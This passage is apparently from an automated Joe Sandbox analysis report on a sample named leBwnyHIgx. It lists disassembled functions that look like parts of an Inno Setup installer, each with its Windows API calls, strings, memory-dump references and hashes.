Instruction Fuzzy Hash: 0C01F730708209AFDB10DBACDC62DEE77EAEB85724F140570F510C73D0DA38AD809625

Function 00405634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00000105,?), ref: 0040566B
SetCurrentDirectoryW.KERNEL32(?,00000105,?), ref: 00405671
GetCurrentDirectoryW.KERNEL32(00000105,?), ref: 00405680
SetCurrentDirectoryW.KERNEL32(?,00000105,?), ref: 00405691

Strings

:, xrefs: 00405650

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: cfe5adf384c6779782b3d8b12f3b8a0230f146eb02df9a283bc8ffd2dbd2e46c
Instruction ID: dce63c72c99c25e19be56c3ef1376a95404931ccd87f5083cd5fd4336c869f13
Opcode Fuzzy Hash: cfe5adf384c6779782b3d8b12f3b8a0230f146eb02df9a283bc8ffd2dbd2e46c
Instruction Fuzzy Hash: 94F0F061140B447AD320EB65C852AEB72DCDF44305F40883F7AC8D73D2E67E8948976A

Function 005865CC Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf7bdf9da67ecc928336aab066482e6213c2e24160aca79d3e9667660882f776
Instruction ID: 7ced4f6ac72d4b624eb87d8c68b941b316f9879e7a3a6f593d5052ea882bc33a
Opcode Fuzzy Hash: cf7bdf9da67ecc928336aab066482e6213c2e24160aca79d3e9667660882f776
Instruction Fuzzy Hash: D411A230A0029A9ADB307B3A595AB9A3F88BF81758F040429BD01FF246EE74DC5587A0

Function 00420F94 Relevance: 7.5, APIs: 5, Instructions: 41fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00420FA4
GetLastError.KERNEL32(00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00420FB3
GetFileAttributesW.KERNEL32(00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000), ref: 00420FBB
RemoveDirectoryW.KERNEL32(00000000,00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000), ref: 00420FD6
SetLastError.KERNEL32(00000000,00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000), ref: 00420FE4

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorFileLast$AttributesDeleteDirectoryRemove
String ID:
API String ID: 2814369299-0
Opcode ID: abb7752b3b6d9ecc2b71773dca15c327e56584de84a87eac260585061ca53039
Instruction ID: 6ebe3b4cf45532d28852752088064c3a0fe5d7edeb4f0602fc5494761cc484af
Opcode Fuzzy Hash: abb7752b3b6d9ecc2b71773dca15c327e56584de84a87eac260585061ca53039
Instruction Fuzzy Hash: 43F0A7613843211D9630397E29C9EFF158C894276DB55073FFA50D22A3C59D5D4A816E

Function 005A0B08 Relevance: 7.5, APIs: 5, Instructions: 39threadCOMMON

Download Yara Rule

APIs

UnhookWindowsHookEx.USER32 ref: 005A0B1A
SetEvent.KERNEL32(00000000), ref: 005A0B46
GetCurrentThreadId.KERNEL32 ref: 005A0B4B
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF,00000000), ref: 005A0B74
CloseHandle.KERNEL32(00000000,00000000), ref: 005A0B81

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseCurrentEventHandleHookMultipleObjectsThreadUnhookWaitWindows
String ID:
API String ID: 2132507429-0
Opcode ID: cbfe83d1defdd885ccca9dee31e8f3165b3cbbe1b1857a3439133bc7b73916d0
Instruction ID: eeeb615204661b1aca082b56b3788136df217e3b650a30bde2679d9a32e7b538
Opcode Fuzzy Hash: cbfe83d1defdd885ccca9dee31e8f3165b3cbbe1b1857a3439133bc7b73916d0
Instruction Fuzzy Hash: 2701AD70228204AFCB00EF68DE06B9D3BE8FB05314F005A2AF654C71E4E7B49880CB66

Function 004702D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0046E670,00000004,0046E66C,00000000,004703CD,?,0046E66C,00000000), ref: 0047036F

Part of subcall function 004085D8: CreateThread.KERNEL32 ref: 00408632

GetCurrentThread.KERNEL32 ref: 004703A7
GetCurrentThreadId.KERNEL32 ref: 004703AF

Strings

9D, xrefs: 00470396

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Thread$Current$CreateErrorLast
String ID: 9D
API String ID: 3539746228-2600770735
Opcode ID: 20054409b78bed9dc7d827a3f23650664e97c0f182fc3617d8a6bc92920a28c5
Instruction ID: f9857796ad14231e6e04606ef7c0ce10faa70948f457118b7ae5954610b77c36
Opcode Fuzzy Hash: 20054409b78bed9dc7d827a3f23650664e97c0f182fc3617d8a6bc92920a28c5
Instruction Fuzzy Hash: 9B31E070A05744EFD720DB76C8417EBBBE4AF09304F40C87EE899D7691DA78A844C769

Function 006508D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,0065C528,00000000,006509D2,?,?,0066978C,?,00000000,00000000,?,00650E02,00000000,00650E0C,?,00000000), ref: 00650944
SetFileAttributesW.KERNEL32(00000000,00000000,00000000,0065C528,00000000,006509D2,?,?,0066978C,?,00000000,00000000,?,00650E02,00000000,00650E0C), ref: 0065096D
MoveFileExW.KERNEL32(00000000,00000000,00000001,00000000,0065C528,00000000,006509D2,?,?,0066978C,?,00000000,00000000,?,00650E02,00000000), ref: 00650986

Strings

isRS-%.3u.tmp, xrefs: 00650923

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: d74af280762a3c12f4f76a8dd6f825dd2da387fd0f27d3d277c556f93e4830d1
Instruction ID: fd64645e21a18fecabc0b8dc279039ee35b9e16079179385e1984e8b922befa7
Opcode Fuzzy Hash: d74af280762a3c12f4f76a8dd6f825dd2da387fd0f27d3d277c556f93e4830d1
Instruction Fuzzy Hash: 8131C571E002099FEB00EBA9C9829DEB7F9AF44314F50457EF814F32D2CB389E458A55

Function 00407A7E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00407AEA
UnhandledExceptionFilter.KERNEL32(?,?,?,Function_00007A80), ref: 00407B27

Strings

(lB, xrefs: 00407AA5
X7@, xrefs: 00407B52

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: (lB$X7@
API String ID: 3192549508-2535443016
Opcode ID: 4b9580ef83ab60be5e1144ed772b18e1cf81e1b814eace585b2863a8bb85044a
Instruction ID: b43bc4563ed2c5b4d44d4e312f14e91904ee98f66dbd2fd5bccfcfafe145c76a
Opcode Fuzzy Hash: 4b9580ef83ab60be5e1144ed772b18e1cf81e1b814eace585b2863a8bb85044a
Instruction Fuzzy Hash: B53141B0A08340AFE720EB15C985F27B7F9EB84718F1585AEE504972D1C778FC85C666

Function 00407FBE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006), ref: 00407FDF

Strings

(lB, xrefs: 00408018
X7@, xrefs: 00408000
0mB, xrefs: 0040803A

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: (lB$0mB$X7@
API String ID: 3192549508-2219141271
Opcode ID: fe6d2a0f9b9a2abee4062f10a0be2c3e91457e6813b961ba9c6a74811b2b6cc5
Instruction ID: 81debfe1353670a627177ee0635cc1a720af15295a81fe09638863fdd9ccb86d
Opcode Fuzzy Hash: fe6d2a0f9b9a2abee4062f10a0be2c3e91457e6813b961ba9c6a74811b2b6cc5
Instruction Fuzzy Hash: DE2162717082069BD724DF29C980B2B77A1AB84704F15853EE444AB3D5CB3CED459B6A

Function 0064E360 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0064E3CD
CloseHandle.KERNEL32(xd,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,0064E434,?,0064E424,00000000), ref: 0064E3EA

Part of subcall function 0064E2B8: GetLastError.KERNEL32(00000000,0064E353,?,?,?), ref: 0064E2DB

Strings

xd, xrefs: 0064E3E6, 0064E3E9
D, xrefs: 0064E3A7

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D$xd
API String ID: 3798668922-589168589
Opcode ID: 95fcd11f6f4c2f0d745cd36e2f186585c9965836f891efbcc81fac53fca09950
Instruction ID: 2770b63dbd5f0664191502d66b5aa67e7b61ccad1497a3da23e2b2c891076db0
Opcode Fuzzy Hash: 95fcd11f6f4c2f0d745cd36e2f186585c9965836f891efbcc81fac53fca09950
Instruction Fuzzy Hash: 4111A171644608AFEB00DBD5CC82EDE77EDEF09704F51407AF604E7291E6799D008A69

Function 00600654 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000B06,00000000,00000000), ref: 0060066E
SendMessageW.USER32(?,00000B00,00000000,00000000), ref: 0060070B

Strings

Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 0060069A
Failed to create DebugClientWnd, xrefs: 006006D4

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MessageSend
String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
API String ID: 3850602802-3720027226
Opcode ID: 56bf4958779bfb6a8b8f845028800d3ca9d96219ab8fc1fc975935c890bdfb99
Instruction ID: 4175b821cf142c8e622798afdf7fde6d0c746e5252e1edb01a77202dd48d2af0
Opcode Fuzzy Hash: 56bf4958779bfb6a8b8f845028800d3ca9d96219ab8fc1fc975935c890bdfb99
Instruction Fuzzy Hash: 7E1123B06843409FF310EB68DC81B9B7FD99B85708F180429F5849B3D2D7B66C50CBA6

Function 00619624 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005AF910: GetFullPathNameW.KERNEL32(00000000,00001000,?,?,00000002,?,?,0066978C,00000000,005F8F3B,00000000,005F9216,?,?,0066978C), ref: 005AF941

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00619667
RegisterTypeLib.OLEAUT32(?,00000000,00000000), ref: 00619683

Strings

LoadTypeLib, xrefs: 00619672
RegisterTypeLib, xrefs: 0061968E

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Type$FullLoadNamePathRegister
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 4170313675-2435364021
Opcode ID: 6810aaf7b3462b74c952d5d02b70c3a4ed5764cd4a511497df33e8c168d44bba
Instruction ID: a1c6d1944a89705a1ae2f70c12028eadbe445236a7dfe10c2b454775ce8fdd12
Opcode Fuzzy Hash: 6810aaf7b3462b74c952d5d02b70c3a4ed5764cd4a511497df33e8c168d44bba
Instruction Fuzzy Hash: FA014470704209AFEB10FBA5CD92BDE77EDEB48704F504475B500F3292EA78AE458678

Function 005F912D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000000,00000020), ref: 005F9138

Part of subcall function 00420F94: DeleteFileW.KERNEL32(00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00420FA4
Part of subcall function 00420F94: GetLastError.KERNEL32(00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00420FB3
Part of subcall function 00420F94: GetFileAttributesW.KERNEL32(00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000), ref: 00420FBB
Part of subcall function 00420F94: RemoveDirectoryW.KERNEL32(00000000,00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000), ref: 00420FD6

MoveFileW.KERNEL32 ref: 005F9165

Part of subcall function 005F84D8: GetLastError.KERNEL32(00000000,005F91EE,00000005,00000000,005F9216,?,?,0066978C,?,00000000,00000000,00000000,?,00650A7F,00000000,00650A9A), ref: 005F84DB

Strings

MoveFile, xrefs: 005F916E
DeleteFile, xrefs: 005F9149

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

